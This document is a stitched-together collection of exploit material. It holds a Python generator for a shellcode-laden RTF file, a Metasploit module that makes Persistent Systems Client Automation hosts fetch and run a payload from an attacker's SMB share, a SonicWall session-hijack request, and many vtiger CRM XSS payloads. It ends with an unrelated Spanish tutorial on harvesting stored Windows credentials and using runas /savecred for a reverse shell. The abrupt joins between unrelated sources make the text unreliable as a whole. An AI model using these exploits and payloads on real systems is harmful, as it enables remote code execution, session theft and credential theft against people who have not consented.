content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400"
content+="72007900000000000000000000000000000000000000000000000000000000000000000000000000"
content+="000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628"
content+="0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00"
content+="49006E0066006F000000000000000000000000000000000000000000000000000000000000000000"
content+="0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000600000000000000"
content+="03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000"
content+="000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF"
content+="00000000000000000000000000000000000000000000000000000000000000000000000001000000"
content+="160000000000000043006F006E00740065006E007400730000000000000000000000000000000000"
content+="000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF"
content+="FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000"
content+="00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000"
content+="0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000"
content+="11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000004C00690073007400"
content+="56006900650077004100000000000000000000000000000000000000000000000000000000000000"
content+="0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600"
content+="1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080"
content+="05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974"
content+="6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000"
content+="000000000000"
content+= 'cb818278'# Address=788281CB jmp esp |  {PAGE_EXECUTE_READ} [msxml5.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.20.1072.0 (C:\Program Files\Common Files\Microsoft Shared\OFFICE11\msxml5.dll)
content+="9090909090909090" #nops
content+= shellcode
#junk
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000"
content+="\n"
content+="}"
content+="}"
content+="}"
banner = "\n\n"
banner +="  ___        __        ____                   _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __        / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \      / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |    / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_|[] /_/   \_\_____|\n\n"
print banner
if(len(sys.argv) < 2):
	print '\n Usage : exploit.py filename.rtf'
else:
	filename = sys.argv[1]
	f=open(filename,"w")
	f.write(content)
	f.close()
	print '\n[ + ] File ' + sys.argv[1] + ' created [ + ]\n'
            
# Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability
# Date: 2014-10-01
# Exploit Author: Ben Turner
# Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/
# Version: 7.9, 8.1, 9.0, 9.1
# Tested on: Windows XP, Windows 7, Server 2003 and Server 2008
# CVE-2015-1497
# CVSS: 10

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	# Exploit mixins should be called first
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::EXE	
	include Msf::Auxiliary::Report

	# Aliases for common classes
	SIMPLE = Rex::Proto::SMB::Client
	XCEPT  = Rex::Proto::SMB::Exceptions
	CONST  = Rex::Proto::SMB::Constants


	def initialize
		super(
			'Name'        => 'Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability',
			'Description' => %Q{
				This module exploits PS Client Automation, by sending a remote service install and creating a callback payload. 
			},
			'Author'         => [ 'Ben Turner' ],
			'License'        => BSD_LICENSE,
			'References'  =>
				[
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'WfsDelay'     => 10,
					'EXITFUNC' => 'process'
				},
			'Payload'     => { 'BadChars' => '', 'DisableNops' => true },
			'Platform'    => ['win'],
			'Targets'         =>
				[
					[ 'PS Client Automation on Windows XP, 7, Server 2003 & 2008', {}]
				],
			'DefaultTarget'   => 0,
			'DisclosureDate' => 'January 10 2014'
		)

		register_options([
			OptString.new('SMBServer', [true, 'The IP address of the SMB server', '192.168.1.1']),
			OptString.new('SMBShare', [true, 'The root directory that is shared', 'share']),
			Opt::RPORT(3465),
		], self.class)

	end

	def exploit

		createservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
		createservice << "Nvdkit.exe service install test -path \"c:\\windows\\system32\\cmd.exe /c \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe\""
		createservice << "\x22\x00\x00\x00"

                startservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
                startservice << "Nvdkit service start test"
                startservice << "\x22\x00\x00\x00"

		removeservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00"
		removeservice << "Nvdkit service remove test"
		removeservice << "\x22\x00\x00\x00"

		def filedrop()
			begin
				origrport = self.datastore['RPORT']
				self.datastore['RPORT'] = 445
				origrhost = self.datastore['RHOST']
				self.datastore['RHOST'] = self.datastore['SMBServer']
				connect()
				smb_login()
				print_status("Generating payload, dropping here: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe'...")
				self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
				exe = generate_payload_exe
				fd = smb_open("\\installservice.exe", 'rwct')
				fd << exe
				fd.close

				self.datastore['RPORT'] = origrport
				self.datastore['RHOST'] = origrhost
			
			rescue Rex::Proto::SMB::Exceptions::Error => e
				print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n")	
				abort()
			end
		end

		def filetest()
			begin
				origrport = self.datastore['RPORT']
				self.datastore['RPORT'] = 445
				origrhost = self.datastore['RHOST']
				self.datastore['RHOST'] = self.datastore['SMBServer']
				connect()
				smb_login()
				print_status("Checking the remote share: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
				self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}")
				file = "\\installservice.exe"
				filetest = smb_file_exist?(file)
				if filetest
					print_good("Found, upload was succesful! \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\#{file}\n")
				else
					print_error("\\\\#{datastore['SMBServer']}\\#{file} - The file does not exist, try again!")
						
				end

				self.datastore['RPORT'] = origrport
				self.datastore['RHOST'] = origrhost
			
			rescue Rex::Proto::SMB::Exceptions::Error => e
				print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n")	
				abort()
			end
		end

		begin
			filedrop()
			filetest()
			connect()
			sock.put(createservice)
			print_status("Creating the callback payload and installing the remote service")
			disconnect
			sleep(5)
			connect()
			sock.put(startservice)
                        print_good("Exploit sent, awaiting response from service. Waiting 15 seconds before removing the service")
			disconnect
			sleep(30)
			connect
			sock.put(removeservice)
			disconnect

		rescue ::Exception => e
			print_error("Could not connect to #{datastore['RHOST']}:#{datastore['RPORT']}\n\n")	
			abort()
		
		end
	end
end
            
source: https://www.securityfocus.com/bid/49930/info

SonicWall NSA 4500 is prone to an HTML-injection vulnerability and a session-hijacking vulnerability.

Exploiting these issues can allow an attacker to hijack a user's session and gain unauthorized access to the affected application, or run malicious HTML or JavaScript code, potentially allowing the attacker to steal cookie-based authentication credentials, and control how the site is rendered to the user; other attacks are also possible.

GET /log.wri HTTP/1.0
Host: 123.123.123.123
Connection: close
User-Agent: brute-forcing
Cookie: SessId=111111111
            
source: https://www.securityfocus.com/bid/49927/info
 
vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. 

/phprint.php?module=Home&action=--><script>alert(/xss/)</script>&parenttab=MyHome Page"><script>alert(0)</script>&jt=

/phprint.php?module=--><script>alert(/xss/)</script>&action=index&parenttab=My%20Home%20Page&jt=
            
source: https://www.securityfocus.com/bid/49927/info

vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. 

/index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1&return_url="><script>alert(/XSS/)</script>

/index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1'"><script>alert(/XSS/)</script>&return_url=1

/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01aa8ed'><script>alert(/xss/)</script>e8e16680dfc&query=true&type=dbrd&owner=admin&viewname=10

/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-0189b81'><script>alert(1)</script>&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=1

/index.php?module=Calendar&action=EditView&return_module=Contacts&return_action=DetailView&activity_mode=Events&return_id=29&contact_id=><script>alert(1)</script>d3ef7f5e017&account_id=16&parenttab=Marketing

/index.php?module=Potentials&action=ListView&date_closed=2006-01'><script>alert(1)</script>&sales_stage=Other&query=true&type=dbrd&owner=admin&viewname=10

/index.php?action=index&module=Calendar&view=week&hour=0&day=5%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x=%22&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1

/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin%27%20onmouseover%3d%27alert(/XSS/)%27%2520x%253d%27&viewname=10

/index.php?module=Potentials&action=ListView&leadsource=--None--'><script>alert(1)</script>&query=true&type=dbrd&viewname=10

/index.php?module=Settings&action=profilePrivileges&mode=view%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&parenttab=Settings&profileid=1

/index.php?module=Calendar&action=EditView&return_module=Leads&return_action=DetailView&activity_mode=Events&return_id=37&parent_id=37"><script>alert(/XSS/)</script>&parenttab=Marketin

/index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%3b}}alert(/XSS/)%3bfunction+xss(){x%3d=0;if(x){x%3d1&mode=view

/index.php?module=Campaigns&searchtype=BasicSearch&search_field=campaignname&query=truef1de8%22%20onmouseover%3d%22alert%281%29%22%2007&search_text=test&action=index&parenttab=Marketing&search_cnt=

/index.php?module=Potentials&action=ListView&sales_stage=Prospect'><script>alert(/XSS/)</script>x&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=10

/index.php?action=ListView&module=Calendar&record=116&viewname=19&start=1371b1"%20onmouseover="alert(0)"%20a%3db%22&parenttab=My%20Home%20Page

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&parenttab=My&onlyforuser=1

/index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=db%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&owner=admin&viewname=10

/index.php?action=index&module=Calendar&view=week'%20onload%3d%22alert%28/XSS/)%22%20x=%22&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview%27%29%22%20%20onload%3d%22alert%28/XSS/%29%22%20x=%22&subtab=event&parenttab=My&onlyforuser=1

/index.php?module=Calendar&action=CalendarAjax&file=ListView&ajax=changestate&viewname=10"'%20onmouseover=alert(/XSS/)%20x='&errormsg=

/index.php?action=DetailView&module=Calendar&record=116&activity_mode=Task%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&parenttab=My

/index.php?module=Dashboard&action=index&display_view=50%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&pbss_edit=true

/index.php?module=Reports&action=SaveAndRun&record=1&folderid=17920%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS

/index.php?module=Settings&action=createnewgroup&returnaction=listgroups&parenttab=Settings&mode=edit&groupId=2%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS

/index.php?module=Settings&action=createrole&roleid=H2&parenttab=Settings&mode=edit%22%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS

index.php?module=Settings&action=createrole&parenttab=Settings&parent=H%22%20style=%22background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;
   
/index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%22%20style%3dbackground%2dimage%2durl('javascript:alert(0)')%3bwidth:1000px;height:1000px;display:block;%22%20x%3d&mode=view

/index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns&return_action=index"%20style%3d"x%3aexpression(alert(1))"%20x="s&parenttab=Marketing&return_viewname=29

/index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&return_action=index&parenttab=Marketing&return_viewname=29

/index.php?module=Settings&action=createnewgroup&returnaction=listgroups"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Settings&mode=edit&groupId=2

/index.php?module=Settings&action=RoleDetailView&roleid=H2"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s

/index.php?module=Settings&action=ModuleManager&module_update=Step1&src_module=Mobile3"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Setting

/index.php?action=index&module=Calendar&view=week"%20style%3d"xss%3aexpression(alert(1))"&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1
            

Otra de las formas típicas de escalar privilegios en Windows es a través de las contraseñas. Ya sea porque algún usuario las reutiliza o porque las encontramos en texto plano en algún archivo o documento.

Windows es bastante susceptible de ser vulnerable a esto, ya que contiene muchas características las cuales almacenan información de forma no muy segura. Vamos a ver en que tipo de sitios y como nos podemos encontrar información sensible:

Índice:

  • Registro
  • WinPEAS
  • PowerSploit
  • Save Creds
  • Archivos de Configuración
  • SAM y SYSTEM
  • Referencias

El entorno usado en el post se ha montado usando el script Windows-PrivEsc-Setup de Tib3rius.

Registro

Los programas suelen guardar información para su correcto funcionamiento en el registro de Windows. Así mismo, también guardan contraseñas.

Podemos hacer una búsqueda recursiva para ver si encontramos el campo «password» en algún registro con los siguientes comandos:

  • reg query HKLM /f password /t REG_SZ /s
  • reg query HKCU /f password /t REG_SZ /s

En el primer comando, buscamos recursivamente en el registro HKEY_LOCAL_MACHINE la palabra «password», en el segundo comando hacemos lo mismo pero en el registro HKEY_CURRENT_USER.

La diferencia entre estos dos registros es que HKLM contiene información de configuraciones relacionadas con el sistema operativo y el software instalado. Mientras que HKCU almacena configuraciones específicas del usuario con el que se ha iniciado la sesión.

Por lo demás, la explicación de los argumentos del comando «reg query» es la siguiente:

  • /f –> Se usa para indicar por la palabra a buscar, por eso, va acompañada de password (/f <palabra>), ya que es lo que queremos buscar.
  • /t –> Especificamos el tipo de registro (/f <tipo de registro>), en este caso como podemos ver, indicamos REG_SZ, aunque las diferentes opciones son: REG_MULTI_SZREG_EXPAND_SZREG_DWORDREG_BINARYREG_NONE. Si no se especifica ninguna, busca por todas. En nuestro caso, REG_SZ corresponde con una cadena de texto de longitud fija.
  • /s –> Indicamos que se consulte a todas las subclaves y nombres de valores de forma recursiva. Aquí una imagen que explica que es cada cosa:
binary foray: Registry hive basics part 2: NK records

Estos dos comandos suelen generar una gran salida. Por lo que a menudo, en vez de hacer esto, se suele mirar previamente en sitios comunes, como por ejemplo winlogon. Winlogon es un componente de los sistemas Windows el cual, entre otras cosas, se encarga del inicio de sesión automático.

Para que se produzca un inicio de sesión automático, las credenciales se tienen que almacenar en algún sitio, y este no es otro que el registro. De hecho, Microsoft proporciona un tutorial oficial de como activar el inicio de sesión automático añadiendo tus credenciales al registro en texto plano, aquí tenéis la fuente.

Por lo que algo típico, es comprobar si hay credenciales almacenadas en el registro de winlogon, de forma manual se podría hacer de la siguiente forma:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

image

Como vemos, en este caso, obtenemos las credenciales al tener configurado el inicio de sesión automático en el equipo.

Nota: Antes de hacer queries a los registros, o realmente, en general para las escaladas de privilegio en Windows, tenemos que fijarnos muy bien si el proceso de nuestra shell es de 64 bits o 32 bits (esto obviamente solo aplica si la máquina es de 64 bits, ya que en sistemas de 32 pues no hay otra opción).

Que nuestro proceso trabaje en 64 o 32 puede suponer que consigamos escalar o no privilegios. Por ejemplo, este sería el output si hiciésemos una query al registro de winlogon, como acabamos de hacer, pero desde un proceso de 32 bits:

image 1

No nos lista el mismo resultado, la razón de esto la podéis ver en este enlace (otro recurso a echarle un vistazo es a la propia documentación oficial de Microsoft, en este caso, al Redirector del Registro). A lo que quiero llegar, es que hay que tener cuidado con este tipo de cosas.

Dicho esto, este es uno de los sitios típicos para buscar credenciales almacenadas, también es muy recomendable echar un vistazo si el equipo tiene programas como Putty, WinSCP, o algún navegador como Mozilla (entre otros) instalados. Ya que estos, también pueden contener credenciales almacenadas de alguna sesión. En cualquier caso, existen herramientas que nos pueden automatizar la enumeración y extracción de credenciales, como por ejemplo, WinPEAS.

WinPEAS

Como ya hemos visto en otros posts, WinPEAS es una herramienta muy potente cuando se trata de buscar posibles formas de escalar privilegios en Windows. Además, acepta argumentos para seleccionar exactamente que tipo de información queremos que enumere (del mismo modo, podemos ejecutarlo sin argumentos para que enumere todo). La lista de argumentos la podemos consultar en su repositorio oficial.

En este caso, los argumentos que nos pueden interesar para buscar credenciales, son «filesinfo» y «userinfo», de tal forma, que el comando a ejecutar sería:

winPEAS.exe quiet filesinfo userinfo

El argumento «quiet» solo sirve para que no muestre el banner en la salida.

Entonces, ejecutando este comando, WinPEAS entre otras muchas cosas que obtendrá, algunas de ellas, serán las siguientes:

image 2
image 3

Como podemos ver, ha conseguido extraer credenciales de Winlogon y Putty (no es lo único que ha obtenido, pero el output es demasiado grande como para mostrarlo uno por uno). Lo podríamos haber hecho manualmente, sin embargo, no es lo más eficiente teniendo una herramienta como WinPEAS.

Nota: Las credenciales de Putty en caso de hacerlo manualmente la encontraríamos de la siguiente forma:

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s

PowerSploit

Siempre hay que tener alternativas en caso de que algo falle, por lo que otra herramienta que podemos usar para enumerar credenciales es PowerSploit, más específicamente su script «PowerUp.ps1».

En este caso, las posibles funciones que nos pueden interesar son las siguientes:

Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon

Si no conoces PowerSploit, básicamente es un repositorio que contiene una gran cantidad de scripts de powershell útiles para post-explotación, en este caso el que nos interesa es «PowerUp.ps1». Una vez cargamos el script en el sistema, tendremos todos los cmdlets (funciones) que menciono en la parte superior (y muchos más). Esta herramienta se puede descargar desde su repositorio oficial.

Ejemplo de uso:

image 15

Con el primer comando cargamos el módulo en la powershell, para así, tener las funciones de «PowerUp.ps1» integradas.

En el primer comando he podido cargarlo, ya que mi Windows tiene acceso a internet y puede llegar al repositorio. Si estuvieses en una máquina de HackTheBox o TryHackMe, no podrías cargarlo directamente desde el repositorio, puesto que las máquinas no tienen salida a internet. Tendrías que descargarlo en tu máquina y montarte un servidor web o pasarlo al Windows.

Save Creds

Al igual que en Linux se le pueden asignar privilegios «sudo» a un usuario para que pueda ejecutar un script o binario en nombre de otro, Windows tiene una característica bastante parecida, en este caso, RunAs.

RunAs es una característica que te permite ejecutar cualquier programa en nombre de otro usuario si conoces su contraseña, ejemplo:

image 4

Sin embargo, RunAs tiene una característica la cual permite guardar credenciales de otro usuario para que puedas ejecutar lo que quieras sin conocer la contraseña del mismo. Esta característica se trata del argumento savecred.

Podemos comprobar si hay credenciales almacenadas de algún usuario usando el comando cmdkey. Cmdkey es una herramienta de línea de comandos que nos permite gestionar las credenciales almacenadas en el sistema, de forma gráfica, lo gestionaríamos desde el «Administrador de Credenciales». En cualquier caso, para ver el listado de credenciales almacenadas en el sistema, usamos el siguiente comando:

cmdkey /list

image 6
image 7

Como podemos comprobar en ambas imágenes, hay credenciales almacenadas del usuario «admin» (También podríamos enumerarlo usando WinPEAS con el comando winPEAS.exe quiet windowscreds ).

Sabiendo que hay credenciales del usuario «admin» almacenadas, nos podemos aprovechar de esto para ejecutarnos una reverse shell usando runas:

runas /savecred /user:<usuario> <ejecutable>

image 5

Nota: En RunAs también podemos indicar que el ejecutable se ejecute con los argumentos que queramos si lo ponemos todo entre comillas.

De esta forma, somos capaces de escalar privilegios gracias a las credenciales almacenadas del usuario administrador.

Archivos de Configuración

En cualquier sistema, los archivos de configuración existen, de la misma forma, existe la posibilidad de que estos tengan credenciales en texto plano (Un ejemplo típico es el archivo «wp-config.php» en WordPress, o el archivo web.config en IIS).

Podemos buscar recursivamente archivos de configuración que contengan de nombre la palabra «pass» o que tengan de extensión «.config» con el siguiente comando:

dir /s *pass* == *.config

También podríamos buscar archivos que contengan la palabra «password» en su contenido y que tengan como extensión la que nosotros especifiquemos:

findstr /si password *.xml *.ini

Estos dos comandos tenemos que tener cuidado desde donde lo lanzamos, ya que si por ejemplo lo lanzásemos desde la raiz (C:\), traerían un output inmenso, ya que ambos buscan de forma recursiva.

En este caso, de nuevo WinPEAS nos podría facilitar la tarea de enumeración, podríamos usar el siguiente comando:

winPEAS.exe quiet searchfast filesinfo

Recuerda que puedes ver los argumentos de WinPEAS desde su repositorio.

Lanzando el comando de WinPEAS, encontramos el siguiente archivo interesante:

image 8
winPEAS.exe quiet filesinfo userinfo

Comprobando su contenido, vemos lo siguiente:

image 9
image 10

Encontramos las credenciales de «admin» en base64.

Unattend.xml es un archivo típico donde podemos encontrar credenciales. Según la documentación oficial de Microsoft, este archivo es un archivo basado en XML que contiene definiciones y valores de configuración para utilizar durante la instalación de Windows.

Es muy típico que los administradores de sistemas usen los Servicios de Implementación de Windows para crear una imagen del mismo para implantarla en varios equipos de la red. Esto se denomina «Unattended Installation». El problema de este tipo de instalación, es que la contraseña del administrador local del equipo se puede almacenar en varias ubicaciones como la que hemos visto. Otras posibles ubicaciones son:

C:\unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

También existe un módulo de metasploit que comprueba esto: post/windows/gather/enum_unattend

Una vez hemos obtenido y conocemos la contraseña de un usuario, podemos usar RunAs, o algún programa como psexec para obtener shell como el usuario en cuestión.

SAM y SYSTEM

A veces, no todos son las contraseñas. Una característica que tiene Windows, es que sabiendo el hash NT de un usuario, podemos obtener una shell sin necesidad de la contraseña (esto no es random, sabiendo como funciona la autenticación NTLM entendemos por qué). Podéis leer más de este proceso en el post de ¿Por qué se pueden ejecutar comandos a través de SMB?.

